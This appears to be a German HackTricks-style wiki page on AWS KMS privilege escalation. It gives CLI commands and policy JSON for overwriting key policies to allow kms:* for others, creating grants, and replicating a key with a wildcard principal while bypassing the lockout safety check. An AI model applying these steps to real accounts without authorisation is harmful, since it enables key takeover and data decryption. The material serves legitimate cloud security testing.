# AWS - KMS Privesc {{#include ../../../banners/hacktricks-training.md}} ## KMS Für weitere Informationen zu KMS siehe: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) Mit diesen Berechtigungen ist es möglich, **die Zugriffsberechtigungen für den Schlüssel zu ändern**, sodass er von anderen Konten oder sogar von jedem verwendet werden kann: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` policy.json: ```json { "Version": "2012-10-17", "Id": "key-consolepolicy-3", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:::root" }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow all use", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:::root" }, "Action": ["kms:*"], "Resource": "*" } ] } ``` ### `kms:CreateGrant` Es **erlaubt einem Principal, einen KMS-Schlüssel zu verwenden:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ --operations Decrypt ``` > [!WARNING] > Ein Grant kann nur bestimmte Arten von Operationen erlauben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] > Beachten Sie, dass es einige Minuten dauern kann, bis KMS **dem Benutzer erlaubt, den Schlüssel zu verwenden, nachdem der Grant erstellt wurde**. Sobald diese Zeit vergangen ist, kann der Principal den KMS-Schlüssel verwenden, ohne etwas anzugeben.\ > Wenn es jedoch erforderlich ist, den Grant sofort zu verwenden, [verwenden Sie ein Grant-Token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (siehe den folgenden Code).\ > Für [**weitere Informationen lesen Sie dies**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ –-key-spec AES_256 \ --grant-tokens $token ``` Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit folgendem Befehl aufzulisten: ```bash aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` Mit diesen Berechtigungen ist es möglich, einen KMS-Schlüssel mit aktivierter Multi-Region in einer anderen Region mit einer anderen Richtlinie zu replizieren. Ein Angreifer könnte dies ausnutzen, um seine Berechtigungen für den Schlüssel zu erhöhen und ihn zu verwenden. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { "Version": "2012-10-17", "Id": "key-consolepolicy-3", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "kms:*", "Resource": "*" } ] } ``` ### `kms:Decrypt` Diese Berechtigung erlaubt die Verwendung eines Schlüssels, um Informationen zu entschlüsseln.\ Für weitere Informationen siehe: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}